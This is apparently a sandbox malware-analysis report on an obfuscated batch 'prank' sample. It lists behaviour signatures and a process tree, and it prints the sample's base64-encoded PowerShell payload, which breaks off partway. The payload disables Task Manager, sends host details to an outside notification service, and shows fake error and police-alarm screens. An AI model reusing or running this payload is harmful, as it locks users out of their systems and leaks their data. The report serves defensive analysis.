b2df20cebf3a6cec9cf91e3317e33f640c58d1bb098ea19fa197344c6993a546

Analysis

user interaction
yes
max time kernel
111s
max time network
92s
platform
windows11-21h2_x64
resource
win11-20260513-en
resource tags

arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
08/08/2026, 14:07

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
obfu_start.bat
Size 24KB
Sample260808-re689ayaje
SHA256 b2df20cebf3a6cec9cf91e3317e33f640c58d1bb098ea19fa197344c6993a546
MD5 3cd687efb98c6165ec093a10b423fa0d
SHA1 9ded03f1df14a4d1793ba040580c7d7dbb8611bc
SHA512 43fc15e1883dce4207368dd4a28a06e31db9522dc5ecacd8976b953f41164f3b9e36b022a5446f0b45a166e46fda2926d332f514e906088e2c6c3b8de9c969b5
SSDEEP 384:KPMSNTRfaPpaz5eTAzf0UamhTVSi/cgTltg3x5ox86Mt2TjqLK2z0+CkC3vKThkn:K/j5jcUm4867+CHvJlBh5
TLSH
T1BEB23CD57B9932A2DA98628070E5EA372324BCC31DB40E13271E6B490D4E55F65FF94C
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

defense_evasion execution

Malware Config

Signatures

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
2	6000	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 30 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2208	powershell.exe
5208	powershell.exe
1936	powershell.exe
5116	powershell.exe
5420	powershell.exe
3104	powershell.exe
5432	powershell.exe
1968	powershell.exe
5024	powershell.exe
1908	powershell.exe
5220	powershell.exe
5356	powershell.exe
5532	powershell.exe
5800	powershell.exe
3308	powershell.exe
3992	powershell.exe
3096	powershell.exe
5068	powershell.exe
5536	powershell.exe
5344	powershell.exe
5500	powershell.exe
3992	powershell.exe
1028	powershell.exe
396	powershell.exe
2276	powershell.exe
3956	powershell.exe
6040	powershell.exe
1304	powershell.exe
5676	powershell.exe
6000	powershell.exe

Disables Task Manager via registry modification
defense_evasion

Executes a command shell one-liner 1 TTPs 4 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2504	cmd.exe
1740	cmd.exe
1512	cmd.exe
4560	cmd.exe

Delays execution with timeout.exe 1 IoCs

defense_evasion

pid	Process
3652	timeout.exe

Kills process with taskkill 1 IoCs

defense_evasion

pid	Process
4032	taskkill.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2746394149-3500112804-1243524366-1000_Classes\Local Settings	powershell.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
5220	powershell.exe
5220	powershell.exe
5676	powershell.exe
5676	powershell.exe
3096	powershell.exe
3096	powershell.exe
5356	powershell.exe
5500	powershell.exe
5356	powershell.exe
5500	powershell.exe
5356	powershell.exe
6000	powershell.exe
6000	powershell.exe
5356	powershell.exe
5356	powershell.exe
5356	powershell.exe
5356	powershell.exe
5356	powershell.exe
5356	powershell.exe
5356	powershell.exe
5356	powershell.exe
5356	powershell.exe
5356	powershell.exe
5356	powershell.exe
5356	powershell.exe
3992	powershell.exe
5356	powershell.exe
3992	powershell.exe
5356	powershell.exe
5356	powershell.exe
5356	powershell.exe
5356	powershell.exe
5356	powershell.exe
5356	powershell.exe
5356	powershell.exe
5356	powershell.exe
5356	powershell.exe
5356	powershell.exe
5356	powershell.exe
5356	powershell.exe
5356	powershell.exe
5356	powershell.exe
5356	powershell.exe
5356	powershell.exe
5356	powershell.exe
5356	powershell.exe
5356	powershell.exe
5356	powershell.exe
5356	powershell.exe
5356	powershell.exe
5356	powershell.exe
5356	powershell.exe
5356	powershell.exe
5356	powershell.exe
5356	powershell.exe
5356	powershell.exe
5356	powershell.exe
5356	powershell.exe
5356	powershell.exe
5356	powershell.exe
5356	powershell.exe
5356	powershell.exe
5356	powershell.exe
5356	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	5220	powershell.exe
Token: SeDebugPrivilege	5676	powershell.exe
Token: SeDebugPrivilege	4032	taskkill.exe
Token: SeDebugPrivilege	3096	powershell.exe
Token: SeDebugPrivilege	5356	powershell.exe
Token: SeDebugPrivilege	5500	powershell.exe
Token: SeDebugPrivilege	6000	powershell.exe
Token: SeIncreaseQuotaPrivilege	6000	powershell.exe
Token: SeSecurityPrivilege	6000	powershell.exe
Token: SeTakeOwnershipPrivilege	6000	powershell.exe
Token: SeLoadDriverPrivilege	6000	powershell.exe
Token: SeSystemProfilePrivilege	6000	powershell.exe
Token: SeSystemtimePrivilege	6000	powershell.exe
Token: SeProfSingleProcessPrivilege	6000	powershell.exe
Token: SeIncBasePriorityPrivilege	6000	powershell.exe
Token: SeCreatePagefilePrivilege	6000	powershell.exe
Token: SeBackupPrivilege	6000	powershell.exe
Token: SeRestorePrivilege	6000	powershell.exe
Token: SeShutdownPrivilege	6000	powershell.exe
Token: SeDebugPrivilege	6000	powershell.exe
Token: SeSystemEnvironmentPrivilege	6000	powershell.exe
Token: SeRemoteShutdownPrivilege	6000	powershell.exe
Token: SeUndockPrivilege	6000	powershell.exe
Token: SeManageVolumePrivilege	6000	powershell.exe
Token: 33	6000	powershell.exe
Token: 34	6000	powershell.exe
Token: 35	6000	powershell.exe
Token: 36	6000	powershell.exe
Token: SeIncreaseQuotaPrivilege	6000	powershell.exe
Token: SeSecurityPrivilege	6000	powershell.exe
Token: SeTakeOwnershipPrivilege	6000	powershell.exe
Token: SeLoadDriverPrivilege	6000	powershell.exe
Token: SeSystemProfilePrivilege	6000	powershell.exe
Token: SeSystemtimePrivilege	6000	powershell.exe
Token: SeProfSingleProcessPrivilege	6000	powershell.exe
Token: SeIncBasePriorityPrivilege	6000	powershell.exe
Token: SeCreatePagefilePrivilege	6000	powershell.exe
Token: SeBackupPrivilege	6000	powershell.exe
Token: SeRestorePrivilege	6000	powershell.exe
Token: SeShutdownPrivilege	6000	powershell.exe
Token: SeDebugPrivilege	6000	powershell.exe
Token: SeSystemEnvironmentPrivilege	6000	powershell.exe
Token: SeRemoteShutdownPrivilege	6000	powershell.exe
Token: SeUndockPrivilege	6000	powershell.exe
Token: SeManageVolumePrivilege	6000	powershell.exe
Token: 33	6000	powershell.exe
Token: 34	6000	powershell.exe
Token: 35	6000	powershell.exe
Token: 36	6000	powershell.exe
Token: SeIncreaseQuotaPrivilege	6000	powershell.exe
Token: SeSecurityPrivilege	6000	powershell.exe
Token: SeTakeOwnershipPrivilege	6000	powershell.exe
Token: SeLoadDriverPrivilege	6000	powershell.exe
Token: SeSystemProfilePrivilege	6000	powershell.exe
Token: SeSystemtimePrivilege	6000	powershell.exe
Token: SeProfSingleProcessPrivilege	6000	powershell.exe
Token: SeIncBasePriorityPrivilege	6000	powershell.exe
Token: SeCreatePagefilePrivilege	6000	powershell.exe
Token: SeBackupPrivilege	6000	powershell.exe
Token: SeRestorePrivilege	6000	powershell.exe
Token: SeShutdownPrivilege	6000	powershell.exe
Token: SeDebugPrivilege	6000	powershell.exe
Token: SeSystemEnvironmentPrivilege	6000	powershell.exe
Token: SeRemoteShutdownPrivilege	6000	powershell.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
5500	powershell.exe

Suspicious use of WriteProcessMemory 39 IoCs

description	pid	Process	procid_target
PID 4560 wrote to memory of 5220	4560	cmd.exe	80
PID 5220 wrote to memory of 2504	5220	powershell.exe	81
PID 2504 wrote to memory of 5676	2504	cmd.exe	83
PID 5676 wrote to memory of 1740	5676	powershell.exe	84
PID 1740 wrote to memory of 3096	1740	cmd.exe	86
PID 1740 wrote to memory of 4032	1740	cmd.exe	87
PID 1740 wrote to memory of 5356	1740	cmd.exe	89
PID 1740 wrote to memory of 2812	1740	cmd.exe	90
PID 1740 wrote to memory of 5500	1740	cmd.exe	91
PID 1740 wrote to memory of 1512	1740	cmd.exe	92
PID 1740 wrote to memory of 6000	1740	cmd.exe	93
PID 1512 wrote to memory of 3652	1512	cmd.exe	94
PID 1740 wrote to memory of 3992	1740	cmd.exe	95
PID 1740 wrote to memory of 1028	1740	cmd.exe	96
PID 1740 wrote to memory of 5420	1740	cmd.exe	97
PID 1740 wrote to memory of 3104	1740	cmd.exe	98
PID 1740 wrote to memory of 396	1740	cmd.exe	99
PID 1740 wrote to memory of 2276	1740	cmd.exe	100
PID 1740 wrote to memory of 5432	1740	cmd.exe	101
PID 1740 wrote to memory of 5532	1740	cmd.exe	102
PID 1740 wrote to memory of 3956	1740	cmd.exe	103
PID 1740 wrote to memory of 5800	1740	cmd.exe	104
PID 1740 wrote to memory of 6040	1740	cmd.exe	105
PID 1740 wrote to memory of 2208	1740	cmd.exe	106
PID 1740 wrote to memory of 5208	1740	cmd.exe	107
PID 1740 wrote to memory of 5068	1740	cmd.exe	108
PID 1740 wrote to memory of 1304	1740	cmd.exe	109
PID 1740 wrote to memory of 3308	1740	cmd.exe	110
PID 1740 wrote to memory of 5536	1740	cmd.exe	111
PID 1740 wrote to memory of 1968	1740	cmd.exe	112
PID 1740 wrote to memory of 5024	1740	cmd.exe	113
PID 1740 wrote to memory of 1908	1740	cmd.exe	114
PID 1740 wrote to memory of 3992	1740	cmd.exe	115
PID 1740 wrote to memory of 5344	1740	cmd.exe	116
PID 1740 wrote to memory of 1936	1740	cmd.exe	117
PID 1740 wrote to memory of 5116	1740	cmd.exe	118
PID 5116 wrote to memory of 2184	5116	powershell.exe	119
PID 2184 wrote to memory of 5828	2184	csc.exe	120
PID 1740 wrote to memory of 1040	1740	cmd.exe	121

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\obfu_start.bat"
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4560
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -WindowStyle Hidden -Command "$d=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('QGVjaG8gb2ZmCmlmICIlfjEiPT0iIiAoCiAgICBwb3dlcnNoZWxsIC1Db21tYW5kICJTdGFydC1Qcm9jZXNzIC1GaWxlUGF0aCAnY21kLmV4ZScgLUFyZ3VtZW50TGlzdCAnL2MgXCIlfmYwXCIgcnVuJyAtV2luZG93U3R5bGUgSGlkZGVuIC1WZXJiIFJ1bkFzIgogICAgZXhpdCAvYgopCgo6OiA9PT0gTk9URkFMTCBUQVNLTUFOQUdFUiBFTlRTUEVSUkVOIChkcnVlY2sgNXggVCkgPT09Cjo6IExhdWVmdCBpbSBoaW50ZXJncnVuZCAtIHdlbm4gamVtYW5kIFQgNXggZHJ1ZWNrdCB3aXJkIGVudHNwZXJydApzdGFydCAiIiAvYiBwb3dlcnNoZWxsIC1XaW5kb3dTdHlsZSBIaWRkZW4gLUNvbW1hbmQgIiRjb3VudD0wOyRoaz1AKCk7QWRkLVR5cGUgLUFzc2VtYmx5TmFtZSBTeXN0ZW0uV2luZG93cy5Gb3Jtczt3aGlsZSgkdHJ1ZSl7aWYoW1N5c3RlbS5XaW5kb3dzLkZvcm1zLkNvbnRyb2xdOjpNb2RpZmllcktleXMgLWVxICdDb250cm9sJyAtYW5kIFtTeXN0ZW0uQ29uc29sZV06OktleUF2YWlsYWJsZSl7JGs9W1N5c3RlbS5Db25zb2xlXTo6UmVhZEtleSgkdHJ1ZSk7aWYoJGsuS2V5IC1lcSAnVCcpeyRzY3JpcHQ6Y291bnQrKztpZigkc2NyaXB0OmNvdW50IC1nZSA1KXtyZWcgYWRkICdIS0NVXFNvZnR3YXJlXE1pY3Jvc29mdFxXaW5kb3dzXEN1cnJlbnRWZXJzaW9uXFBvbGljaWVzXFN5c3RlbScgL3YgRGlzYWJsZVRhc2tNZ3IgL3QgUkVHX0RXT1JEIC9kIDAgL2Y7JHNjcmlwdDpjb3VudD0wfX19O1N0YXJ0LVNsZWVwIC1NaWxsaXNlY29uZHMgMTAwfSIgPm51bCAyPiYxCgp0YXNra2lsbCAvZiAvaW0gVGFza21nci5leGUgPm51bCAyPiYxCnN0YXJ0ICIiIC9iIHBvd2Vyc2hlbGwgLVdpbmRvd1N0eWxlIEhpZGRlbiAtQ29tbWFuZCAiJGVuZD0oR2V0LURhdGUpLkFkZFNlY29uZHMoMTIwKTt3aGlsZSgoR2V0LURhdGUpLWx0ICRlbmQpe1N0b3AtUHJvY2VzcyAtTmFtZSAnVGFza21ncicgLUVycm9yQWN0aW9uIFNpbGVudGx5Q29udGludWU7U3RhcnQtU2xlZXAgLU1pbGxpc2Vjb25kcyAzMDB9IgpyZWcgYWRkICJIS0NVXFNvZnR3YXJlXE1pY3Jvc29mdFxXaW5kb3dzXEN1cnJlbnRWZXJzaW9uXFBvbGljaWVzXFN5c3RlbSIgL3YgRGlzYWJsZVRhc2tNZ3IgL3QgUkVHX0RXT1JEIC9kIDEgL2YgPm51bCAyPiYxCnBvd2Vyc2hlbGwgLVdpbmRvd1N0eWxlIEhpZGRlbiAtQ29tbWFuZCAiKE5ldy1PYmplY3QgLUNvbU9iamVjdCBTaGVsbC5BcHBsaWNhdGlvbikuTWluaW1pemVBbGwoKSIgPm51bCAyPiYxCnN0YXJ0ICIiIC9iIGNtZCAvYyAidGltZW91dCAvdCAxMjAgL25vYnJlYWsgPm51bCAmJiByZWcgYWRkIFwiSEtDVVxTb2Z0d2FyZVxNaWNyb3NvZnRcV2luZG93c1xDdXJyZW50VmVyc2lvblxQb2xpY2llc1xTeXN0ZW1cIiAvdiBEaXNhYmxlVGFza01nciAvdCBSRUdfRFdPUkQgL2QgMCAvZiA+bnVsIDI+JjEiCgpwb3dlcnNoZWxsIC1XaW5kb3dTdHlsZSBIaWRkZW4gLUNvbW1hbmQgIiR1c2VyPSRlbnY6VVNFUk5BTUU7JHBjPSRlbnY6Q09NUFVURVJOQU1FOyRvcz0oR2V0LUNpbUluc3RhbmNlIFdpbjMyX09wZXJhdGluZ1N5c3RlbSkuQ2FwdGlvbjskaXA9KEdldC1OZXRJUEFkZHJlc3MgLUFkZHJlc3NGYW1pbHkgSVB2NHxXaGVyZS1PYmplY3R7JF8uSVBBZGRyZXNzIC1ub3RsaWtlICcxMjcuKicgLWFuZCAkXy5JUEFkZHJlc3MgLW5vdGxpa2UgJzE2OS4qJ318U2VsZWN0LU9iamVjdCAtRmlyc3QgMSkuSVBBZGRyZXNzOyRjcHU9KEdldC1DaW1JbnN0YW5jZSBXaW4zMl9Qcm9jZXNzb3IpLk5hbWU7JHJhbT1bbWF0aF06OlJvdW5kKChHZXQtQ2ltSW5zdGFuY2UgV2luMzJfQ29tcHV0ZXJTeXN0ZW0pLlRvdGFsUGh5c2ljYWxNZW1vcnkvMUdCLDEpOyRib2R5PVwiUHJhbmsgZ2VzdGFydGV0ISA+OilcblVzZXI6ICR1c2VyXG5QQzogJHBjXG5PUzogJG9zXG5JUDogJGlwXG5DUFU6ICRjcHVcblJBTTogJHtyYW19IEdCXCI7SW52b2tlLVJlc3RNZXRob2QgLVVyaSAnaHR0cHM6Ly9udGZ5LnNoL2Jlbm5lJyAtTWV0aG9kIFBvc3QgLUJvZHkgJGJvZHkgLUNvbnRlbnRUeXBlICd0ZXh0L3BsYWluOyBjaGFyc2V0PXV0Zi04JyAtSGVhZGVycyBAeydUaXRsZSc9J1ByYW5rIGxhZXVmdCEhJzsnUHJpb3JpdHknPSd1cmdlbnQnOydUYWdzJz0nc2t1bGwnfSIgPm51bCAyPiYxCgpwb3dlcnNoZWxsIC1XaW5kb3dTdHlsZSBIaWRkZW4gLUNvbW1hbmQgIkFkZC1UeXBlIC1Bc3NlbWJseU5hbWUgUHJlc2VudGF0aW9uRnJhbWV3b3JrO1tTeXN0ZW0uV2luZG93cy5NZXNzYWdlQm94XTo6U2hvdygnU3lzdGVtMzIgd3VyZGUgZ2Vsb2VzY2h0LmBuQml0dGUgbmV1IHN0YXJ0ZW4uJywnS1JJVElTQ0hFUiBGRUhMRVInLCdPSycsJ0Vycm9yJykiID5udWwgMj4mMQpwb3dlcnNoZWxsIC1XaW5kb3dTdHlsZSBIaWRkZW4gLUNvbW1hbmQgIkFkZC1UeXBlIC1Bc3NlbWJseU5hbWUgUHJlc2VudGF0aW9uRnJhbWV3b3JrO1tTeXN0ZW0uV2luZG93cy5NZXNzYWdlQm94XTo6U2hvdygnNDA0IEdlaGlybiBuaWNodCBnZWZ1bmRlbi4nLCdWSVJVUyBERVRFQ1RFRCcsJ09LJywnRXJyb3InKSIgPm51bCAyPiYxCnBvd2Vyc2hlbGwgLVdpbmRvd1N0eWxlIEhpZGRlbiAtQ29tbWFuZCAiQWRkLVR5cGUgLUFzc2VtYmx5TmFtZSBQcmVzZW50YXRpb25GcmFtZXdvcms7W1N5c3RlbS5XaW5kb3dzLk1lc3NhZ2VCb3hdOjpTaG93KCdHcmFmaWtrYXJ0ZSBzY2htaWx6dC4uLiBvZGVyIG5pY2h0LicsJ0dQVSBVRUJFUkhJVFpUJywnT0snLCdFcnJvcicpIiA+bnVsIDI+JjEKcG93ZXJzaGVsbCAtV2luZG93U3R5bGUgSGlkZGVuIC1Db21tYW5kICJBZGQtVHlwZSAtQXNzZW1ibHlOYW1lIFByZXNlbnRhdGlvbkZyYW1ld29yaztbU3lzdGVtLldpbmRvd3MuTWVzc2FnZUJveF06OlNob3coJ0R1IGhhc3QgenUgdmllbGUgTWVtZXMgZ2VzcGVpY2hlcnQuJywnRkVTVFBMQVRURSBWT0xMJywnT0snLCdFcnJvcicpIiA+bnVsIDI+JjEKcG93ZXJzaGVsbCAtV2luZG93U3R5bGUgSGlkZGVuIC1Db21tYW5kICJBZGQtVHlwZSAtQXNzZW1ibHlOYW1lIFByZXNlbnRhdGlvbkZyYW1ld29yaztbU3lzdGVtLldpbmRvd3MuTWVzc2FnZUJveF06OlNob3coJ0FyYmVpdHNzcGVpY2hlciBoYXQgZ2VrdWVuZGlndC4nLCdSQU0gRkVITEVSJywnT0snLCdFcnJvcicpIiA+bnVsIDI+JjEKcG93ZXJzaGVsbCAtV2luZG93U3R5bGUgSGlkZGVuIC1Db21tYW5kICJBZGQtVHlwZSAtQXNzZW1ibHlOYW1lIFByZXNlbnRhdGlvbkZyYW1ld29yaztbU3lzdGVtLldpbmRvd3MuTWVzc2FnZUJveF06OlNob3coJ0ludGVybmV0IHd1cmRlIGFiZ2VzY2hhbHRldC4gRnVlciBpbW1lci4nLCdORVRaV0VSSyBUT1QnLCdPSycsJ0Vycm9yJykiID5udWwgMj4mMQpwb3dlcnNoZWxsIC1XaW5kb3dTdHlsZSBIaWRkZW4gLUNvbW1hbmQgIkFkZC1UeXBlIC1Bc3NlbWJseU5hbWUgUHJlc2VudGF0aW9uRnJhbWV3b3JrO1tTeXN0ZW0uV2luZG93cy5NZXNzYWdlQm94XTo6U2hvdygnVXBkYXRlIDk5OS85OTkuLi4gQml0dGUgd2FydGVuLi4uIChsdWVnZSknLCdXSU5ET1dTIFVQREFURScsJ09LJywnRXJyb3InKSIgPm51bCAyPiYxCnBvd2Vyc2hlbGwgLVdpbmRvd1N0eWxlIEhpZGRlbiAtQ29tbWFuZCAiQWRkLVR5cGUgLUFzc2VtYmx5TmFtZSBQcmVzZW50YXRpb25GcmFtZXdvcms7W1N5c3RlbS5XaW5kb3dzLk1lc3NhZ2VCb3hdOjpTaG93KCdTdHJvbSBpc3QgYWxsZS4gKFRyb3R6ZGVtIG5vY2ggYW4/KScsJ0JBVFRFUklFIDAlJScsJ09LJywnRXJyb3InKSIgPm51bCAyPiYxCnBvd2Vyc2hlbGwgLVdpbmRvd1N0eWxlIEhpZGRlbiAtQ29tbWFuZCAiQWRkLVR5cGUgLUFzc2VtYmx5TmFtZSBQcmVzZW50YXRpb25GcmFtZXdvcms7W1N5c3RlbS5XaW5kb3dzLk1lc3NhZ2VCb3hdOjpTaG93KCdNYXVzIGxhZXVmdCB3ZWcuIFN1Y2hlIGxhZXVmdC4nLCdNQVVTIEZFSExFUicsJ09LJywnRXJyb3InKSIgPm51bCAyPiYxCnBvd2Vyc2hlbGwgLVdpbmRvd1N0eWxlIEhpZGRlbiAtQ29tbWFuZCAiQWRkLVR5cGUgLUFzc2VtYmx5TmFtZSBQcmVzZW50YXRpb25GcmFtZXdvcms7W1N5c3RlbS5XaW5kb3dzLk1lc3NhZ2VCb3hdOjpTaG93KCdBbGxlIFRhc3RlbiBoYWJlbiBTdHJlaWsgYW5nZW1lbGRldC4nLCdUQVNUQVRVUiBLQVBVVFQnLCdPSycsJ0Vycm9yJykiID5udWwgMj4mMQpwb3dlcnNoZWxsIC1XaW5kb3dTdHlsZSBIaWRkZW4gLUNvbW1hbmQgIkFkZC1UeXBlIC1Bc3NlbWJseU5hbWUgUHJlc2VudGF0aW9uRnJhbWV3b3JrO1tTeXN0ZW0uV2luZG93cy5NZXNzYWdlQm94XTo6U2hvdygnRHJ1Y2tlciBkcnVja3QgSWhyZSBEYXRlbi4uLiBpbSBOYWNoYmFyaGF1cy4nLCdEUlVDS0VSIEZFSExFUicsJ09LJywnRXJyb3InKSIgPm51bCAyPiYxCgo6OiA9PT0gVk9MTEJJTEQgMTogRFJVQ0tFUiBQT0xJWkVJID09PQpwb3dlcnNoZWxsIC1Db21tYW5kICJBZGQtVHlwZSAtQXNzZW1ibHlOYW1lIFN5c3RlbS5XaW5kb3dzLkZvcm1zO0FkZC1UeXBlIC1Bc3NlbWJseU5hbWUgU3lzdGVtLkRyYXdpbmc7JHNjcmVlbj1bU3lzdGVtLldpbmRvd3MuRm9ybXMuU2NyZWVuXTo6UHJpbWFyeVNjcmVlbi5Cb3VuZHM7JGY9TmV3LU9iamVjdCBTeXN0ZW0uV2luZG93cy5Gb3Jtcy5Gb3JtOyRmLkJhY2tDb2xvcj1bU3lzdGVtLkRyYXdpbmcuQ29sb3JdOjpCbGFjazskZi5Gb3JtQm9yZGVyU3R5bGU9J05vbmUnOyRmLlN0YXJ0UG9zaXRpb249J01hbnVhbCc7JGYuQm91bmRzPSRzY3JlZW47JGYuVG9wTW9zdD0kdHJ1ZTskZi5LZXlQcmV2aWV3PSR0cnVlOyRmLmFkZF9LZXlEb3duKHskXy5TdXBwcmVzc0tleVByZXNzPSR0cnVlfSk7JHN3PSRzY3JlZW4uV2lkdGg7JHNoPSRzY3JlZW4uSGVpZ2h0OyRsMT1OZXctT2JqZWN0IFN5c3RlbS5XaW5kb3dzLkZvcm1zLkxhYmVsOyRsMS5UZXh0PSchISEgRFJVQ0tFUi1BTEFSTSAhISEnOyRsMS5Gb250PU5ldy1PYmplY3QgU3lzdGVtLkRyYXdpbmcuRm9udCgnQXJpYWwnLDUyLFtTeXN0ZW0uRHJhd2luZy5Gb250U3R5bGVdOjpCb2xkKTskbDEuRm9yZUNvbG9yPVtTeXN0ZW0uRHJhd2luZy5Db2xvcl06OlJlZDskbDEuVGV4dEFsaWduPSdNaWRkbGVDZW50ZXInOyRsMS5TZXRCb3VuZHMoMCxbaW50XSgkc2gqMC4xMCksJHN3LDExMCk7JGwxLkJhY2tDb2xvcj1bU3lzdGVtLkRyYXdpbmcuQ29sb3JdOjpUcmFuc3BhcmVudDskZi5Db250cm9scy5BZGQoJGwxKTskbDI9TmV3LU9iamVjdCBTeXN0ZW0uV2luZG93cy5Gb3Jtcy5MYWJlbDskbDIuVGV4dD0nSWhyIERydWNrZXIgaGF0IGdlcmFkZSBkaWUgUG9saXplaSBhbmdlcnVmZW4uJzskbDIuRm9udD1OZXctT2JqZWN0IFN5c3RlbS5EcmF3aW5nLkZvbnQoJ0FyaWFsJywyNixbU3lzdGVtLkRyYXdpbmcuRm9udFN0eWxlXTo6Qm9sZCk7JGwyLkZvcmVDb2xvcj1bU3lzdGVtLkRyYXdpbmcuQ29sb3JdOjpXaGl0ZTskbDIuVGV4dEFsaWduPSdNaWRkbGVDZW50ZXInOyRsMi5TZXRCb3VuZHMoMCxbaW50XSgkc2gqMC4yNyksJHN3LDY1KTskbDIuQmFja0NvbG9yPVtTeXN0ZW0uRHJhd2luZy5Db2xvcl06OlRyYW5zcGFyZW50OyRmLkNvbnRyb2xzLkFkZCgkbDIpOyRsMz1OZXctT2JqZWN0IFN5c3RlbS5XaW5kb3dzLkZvcm1zLkxhYmVsOyRsMy5UZXh0PSdBbGxlIERva3VtZW50ZSB3dXJkZW4gYW4gSW50ZXJwb2wgd2VpdGVyZ2VsZWl0ZXQuJzskbDMuRm9udD1OZXctT2JqZWN0IFN5c3RlbS5EcmF3aW5nLkZvbnQoJ0FyaWFsJywxOSk7JGwzLkZvcmVDb2xvcj1bU3lzdGVtLkRyYXdpbmcuQ29sb3JdOjpGcm9tQXJnYigyNTUsODAsODApOyRsMy5UZXh0QWxpZ249J01pZGRsZUNlbnRlcic7JGwzLlNldEJvdW5kcygwLFtpbnRdKCRzaCowLjM5KSwkc3csNDgpOyRsMy5CYWNrQ29sb3I9W1N5c3RlbS5EcmF3aW5nLkNvbG9yXTo6VHJhbnNwYXJlbnQ7JGYuQ29udHJvbHMuQWRkKCRsMyk7JGw0PU5ldy1PYmplY3QgU3lzdGVtLldpbmRvd3MuRm9ybXMuTGFiZWw7JGw0LlRleHQ9J1BvbGl6ZWkgdHJpZmZ0IGVpbiBpbjonOyRsNC5Gb250PU5ldy1PYmplY3QgU3lzdGVtLkRyYXdpbmcuRm9udCgnQXJpYWwnLDIyKTskbDQuRm9yZUNvbG9yPVtTeXN0ZW0uRHJhd2luZy5Db2xvcl06OldoaXRlOyRsNC5UZXh0QWxpZ249J01pZGRsZUNlbnRlcic7JGw0LlNldEJvdW5kcygwLFtpbnRdKCRzaCowLjUyKSwkc3csNDgpOyRsNC5CYWNrQ29sb3I9W1N5c3RlbS5EcmF3aW5nLkNvbG9yXTo6VHJhbnNwYXJlbnQ7JGYuQ29udHJvbHMuQWRkKCRsNCk7JGNkPU5ldy1PYmplY3QgU3lzdGVtLldpbmRvd3MuRm9ybXMuTGFiZWw7JGNkLlRleHQ9JzUnOyRjZC5Gb250PU5ldy1PYmplY3QgU3lzdGVtLkRyYXdpbmcuRm9udCgnQXJpYWwnLDEzMCxbU3lzdGVtLkRyYXdpbmcuRm9udFN0eWxlXTo6Qm9sZCk7JGNkLkZvcmVDb2xvcj1bU3lzdGVtLkRyYXdpbmcuQ29sb3JdOjpSZWQ7JGNkLlRleHRBbGlnbj0nTWlkZGxlQ2VudGVyJzskY2QuU2V0Qm91bmRzKDAsW2ludF0oJHNoKjAuNTgpLCRzdywyMzApOyRjZC5CYWNrQ29sb3I9W1N5c3RlbS5EcmF3aW5nLkNvbG9yXTo6VHJhbnNwYXJlbnQ7JGYuQ29udHJvbHMuQWRkKCRjZCk7JG49NTskdD1OZXctT2JqZWN0IFN5c3RlbS5XaW5kb3dzLkZvcm1zLlRpbWVyOyR0LkludGVydmFsPTEwMDA7JHQuQWRkX1RpY2soeyRzY3JpcHQ6bi0tOyRjZC5UZXh0PVtzdHJpbmddJHNjcmlwdDpuOyRmLlRvcE1vc3Q9JHRydWU7aWYoJHNjcmlwdDpuIC1sZSAwKXskdC5TdG9wKCk7JGYuQ2xvc2UoKX19KTskdC5TdGFydCgpOyRmLlNob3coKTskZi5XaW5kb3dTdGF0ZT0nTWF4aW1pemVkJzskZi5CcmluZ1RvRnJvbnQoKTtbU3lzdGVtLldpbmRvd3MuRm9ybXMuQXBwbGljYXRpb25dOjpSdW4oJGYpIgoKOjogPT09IFZPTExCSUxEIDI6IEZMQVNIWSBGQVJCRU4gKyBPT1BTID09PQpwb3dlcnNoZWxsIC1Db21tYW5kICJBZGQtVHlwZSAtQXNzZW1ibHlOYW1lIFN5c3RlbS5XaW5kb3dzLkZvcm1zO0FkZC1UeXBlIC1Bc3NlbWJseU5hbWUgU3lzdGVtLkRyYXdpbmc7JHNjcmVlbj1bU3lzdGVtLldpbmRvd3MuRm9ybXMuU2NyZWVuXTo6UHJpbWFyeVNjcmVlbi5Cb3VuZHM7JGY9TmV3LU9iamVjdCBTeXN0ZW0uV2luZG93cy5Gb3Jtcy5Gb3JtOyRmLkZvcm1Cb3JkZXJTdHlsZT0nTm9uZSc7JGYuU3RhcnRQb3NpdGlvbj0nTWFudWFsJzskZi5Cb3VuZHM9JHNjcmVlbjskZi5Ub3BNb3N0PSR0cnVlOyRmLktleVByZXZpZXc9JHRydWU7JGYuYWRkX0tleURvd24oeyRfLlN1cHByZXNzS2V5UHJlc3M9JHRydWV9KTskc3c9JHNjcmVlbi5XaWR0aDskc2g9JHNjcmVlbi5IZWlnaHQ7JGNvbG9ycz1AKFtTeXN0ZW0uRHJhd2luZy5Db2xvcl06OlJlZCxbU3lzdGVtLkRyYXdpbmcuQ29sb3JdOjpCbHVlLFtTeXN0ZW0uRHJhd2luZy5Db2xvcl06OkxpbWUsW1N5c3RlbS5EcmF3aW5nLkNvbG9yXTo6TWFnZW50YSxbU3lzdGVtLkRyYXdpbmcuQ29sb3JdOjpZZWxsb3csW1N5c3RlbS5EcmF3aW5nLkNvbG9yXTo6Q3lhbixbU3lzdGVtLkRyYXdpbmcuQ29sb3JdOjpPcmFuZ2VSZWQsW1N5c3RlbS5EcmF3aW5nLkNvbG9yXTo6RGVlcFBpbmspOyRjaT0wOyRwaGFzZT0wOyRlbGFwc2VkPTA7JG9vcHM9TmV3LU9iamVjdCBTeXN0ZW0uV2luZG93cy5Gb3Jtcy5MYWJlbDskb29wcy5UZXh0PSdPT1BTJzskb29wcy5Gb250PU5ldy1PYmplY3QgU3lzdGVtLkRyYXdpbmcuRm9udCgnQXJpYWwnLDE4MCxbU3lzdGVtLkRyYXdpbmcuRm9udFN0eWxlXTo6Qm9sZCk7J